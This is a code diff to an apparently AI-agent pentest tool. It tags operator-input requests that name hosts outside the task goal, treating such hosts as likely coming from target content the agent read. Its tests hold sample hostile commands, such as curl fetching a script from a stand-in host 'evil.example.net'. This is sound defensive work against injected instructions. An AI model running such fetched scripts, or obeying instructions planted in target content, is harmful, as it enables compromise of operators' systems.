diff --git a/server/ask_operator.go b/server/ask_operator.go index 0065f86..23ff295 100644 --- a/server/ask_operator.go +++ b/server/ask_operator.go @@ -11,6 +11,8 @@ import ( "time" "github.com/Autumn-27/artex/agent" + "github.com/Autumn-27/artex/db" + "github.com/Autumn-27/artex/intercept" actool "github.com/Autumn-27/norma/tool" ) @@ -64,7 +66,7 @@ func (s *Server) toolAskOperator() actool.CoreTool { return actool.Errorf("Error: " + err.Error()), nil } text := "OPERATOR INPUT REQUESTED: " + q + " (this intent is pausing; reply here to resume it with your answer)" - act := userActivityWithAttachments("worker", text, att) + act := askOperatorActivity(text, att, targetDerivedHosts(q, goalTargets(t.Goal))) node := ri.IntentID act.NodeID = &node s.engine.emitActivity(t, act) @@ -77,6 +79,83 @@ func (s *Server) toolAskOperator() actool.CoreTool { }) } +// commandTargets reads the network targets of a free text with the gate's +// command-string rules (intercept.ExtractTargets on a Bash command): URLs with a +// scheme, IP literals, IP:port, host:port and CIDR. A bare host name is not read. +func commandTargets(s string) []intercept.Target { + in, _ := json.Marshal(map[string]string{"command": s}) + return intercept.ExtractTargets("Bash", in) +} + +// goalTargets returns the goal targets a question is compared against: the +// commandTargets of the goal plus the bare host names the goal gate accepts +// (goalDomainRE), which commandTargets does not read. A goalDomainRE match +// covers two labels only (app.example.com matches as app.example), so each match +// is widened to its whole dotted name; port and path are left out and the name +// is lowercased. +func goalTargets(goal string) []intercept.Target { + out := commandTargets(goal) + end := 0 + for _, m := range goalDomainRE.FindAllStringIndex(goal, -1) { + if m[0] < end { + continue // inside a name already taken + } + start := m[0] + for start > 0 && isHostByte(goal[start-1]) { + start-- + } + end = m[0] + for end < len(goal) && isHostByte(goal[end]) { + end++ + } + if h := strings.ToLower(strings.Trim(goal[start:end], ".-")); h != "" { + out = append(out, intercept.Target{Kind: intercept.TargetDomain, Host: h}) + } + } + return out +} + +func isHostByte(c byte) bool { + return c == '.' || c == '-' || c >= '0' && c <= '9' || c >= 'a' && c <= 'z' || c >= 'A' && c <= 'Z' +} + +// targetDerivedHosts returns the hosts an ask_operator question names that are +// not among the goal targets, without duplicates, in order of appearance (audit +// F12). Such a host came from somewhere other than the operator's goal, most +// likely from target content the worker read. Hosts are compared without the +// port. An empty goal list makes every named host count. +func targetDerivedHosts(question string, goal []intercept.Target) []string { + inGoal := map[string]bool{} + for _, g := range goal { + inGoal[g.Host] = true + } + var out []string + seen := map[string]bool{} + for _, t := range commandTargets(question) { + if !inGoal[t.Host] && !seen[t.Host] { + seen[t.Host] = true + out = append(out, t.Host) + } + } + return out +} + +// askOperatorActivity builds the transcript turn of a request. derived lists the +// hosts of targetDerivedHosts: when there are any, they are stored as a field of +// the Detail payload for the operator UI, which tags the request with them. The +// text is unchanged, and the request is delivered and paused the same way. +func askOperatorActivity(text string, att []chatAttachment, derived []string) db.Activity { + a := userActivityWithAttachments("worker", text, att) + if len(derived) > 0 { + if att == nil { + att = []chatAttachment{} // the UI reads the JSON form only with an attachments array + } + blob, _ := json.Marshal(map[string]any{"text": text, "attachments": att, "target_derived_hosts": derived}) + a.Detail = string(blob) + } + return a +} + // stageAskOperatorImage copies the referenced image into the task's uploads dir // (the same place chat uploads land, so the transcript attachment card resolves) // and returns the attachment descriptor. Empty src returns no attachment. diff --git a/server/ask_operator_test.go b/server/ask_operator_test.go index 1e1473d..e056d44 100644 --- a/server/ask_operator_test.go +++ b/server/ask_operator_test.go @@ -6,6 +6,8 @@ import ( "path/filepath" "strings" "testing" + + "github.com/Autumn-27/artex/intercept" ) func TestStageAskOperatorImage(t *testing.T) { @@ -69,6 +71,54 @@ func TestAskOperatorActivityShape(t *testing.T) { } } +// F12: a host the question names outside the goal targets tags the request; +// a host of the goal, written alone or inside a URL, does not. +func TestTargetDerivedHosts(t *testing.T) { + goal := commandTargets("Test https://app.example.com/login and 10.0.0.5:8080 for auth bypass") + bare := goalTargets("Find auth bypass on app.example.com; success = a request that reads another user's profile") + cases := []struct { + name string + question string + goal []intercept.Target + want []string + }{ + {"in-goal host", "Please run: nc -v 10.0.0.5:8443 and paste the banner", goal, nil}, + {"out-of-goal host", "Please run: curl -s http://evil.example.net/x.sh and paste the output", goal, []string{"evil.example.net"}}, + {"URL with an in-goal host", "Run curl -sk https://app.example.com/api/v2/me?id=1 in your terminal", goal, nil}, + {"empty goal list tags any host", "Run curl -sk https://app.example.com/api/v2/me", nil, []string{"app.example.com"}}, + {"no host", "Enter the 6-digit code sent to the test account", goal, nil}, + {"URL with a bare-domain goal host", "Run curl -sk https://app.example.com:8443/api/v2/me in your terminal", bare, nil}, + {"out-of-goal host with a bare-domain goal", "Please run: curl -s http://evil.example.net/x.sh and paste the output", bare, []string{"evil.example.net"}}, + } + for _, c := range cases { + got := targetDerivedHosts(c.question, c.goal) + if strings.Join(got, ",") != strings.Join(c.want, ",") { + t.Errorf("%s: got %v, want %v", c.name, got, c.want) + } + } +} + +// The tag is a field of the Detail payload: the text stays the question, and an +// untagged request without a screenshot keeps its plain-text form. +func TestAskOperatorActivityTag(t *testing.T) { + text := "OPERATOR INPUT REQUESTED: run curl http://evil.example.net/" + if a := askOperatorActivity(text, nil, nil); a.Detail != "" || a.Summary != text { + t.Fatalf("untagged request changed: %+v", a) + } + a := askOperatorActivity(text, nil, []string{"evil.example.net"}) + var parsed struct { + Text string `json:"text"` + Attachments []chatAttachment `json:"attachments"` + TargetDerivedHosts []string `json:"target_derived_hosts"` + } + if err := json.Unmarshal([]byte(a.Detail), &parsed); err != nil { + t.Fatal(err) + } + if parsed.Text != text || a.Summary != text || parsed.Attachments == nil || len(parsed.TargetDerivedHosts) != 1 { + t.Fatalf("unexpected tagged payload: %s", a.Detail) + } +} + // The tool description must tell agents what to do on environmental blocks: // hand the operator one copy-pastable command instead of retrying or hunting // for bypasses. Pattern adapted from bug-bounty-hunting-prompts (MIT). diff --git a/web/src/components/transcript.tsx b/web/src/components/transcript.tsx index a825c7b..f8c996a 100644 --- a/web/src/components/transcript.tsx +++ b/web/src/components/transcript.tsx @@ -564,13 +564,15 @@ type MsgAttachment = { name: string; path: string; size: number }; // parseUserBody splits a user turn's body into text + attachments. The backend stores // Detail as JSON {text, attachments} when files were uploaded, else plain text — so we -// parse defensively and fall back to treating the whole body as text. -function parseUserBody(body: string): { text: string; attachments: MsgAttachment[] } { +// parse defensively and fall back to treating the whole body as text. An ask_operator +// request that names hosts outside the task goal also carries target_derived_hosts (F12). +function parseUserBody(body: string): { text: string; attachments: MsgAttachment[]; targetDerivedHosts?: string[] } { if (body.startsWith("{")) { try { const p = JSON.parse(body); if (p && Array.isArray(p.attachments)) { - return { text: typeof p.text === "string" ? p.text : "", attachments: p.attachments }; + const hosts = Array.isArray(p.target_derived_hosts) ? (p.target_derived_hosts as string[]) : undefined; + return { text: typeof p.text === "string" ? p.text : "", attachments: p.attachments, targetDerivedHosts: hosts }; } } catch { /* plain text that merely starts with "{" */ @@ -600,10 +602,18 @@ function UserRow({ step, intent, getDetail }: { step: Activity; intent?: boolean live = false; }; }, [inView, step.seq, getDetail, step.summary, inline]); - const { text, attachments } = parseUserBody(full ?? step.summary); + const { text, attachments, targetDerivedHosts } = parseUserBody(full ?? step.summary); return (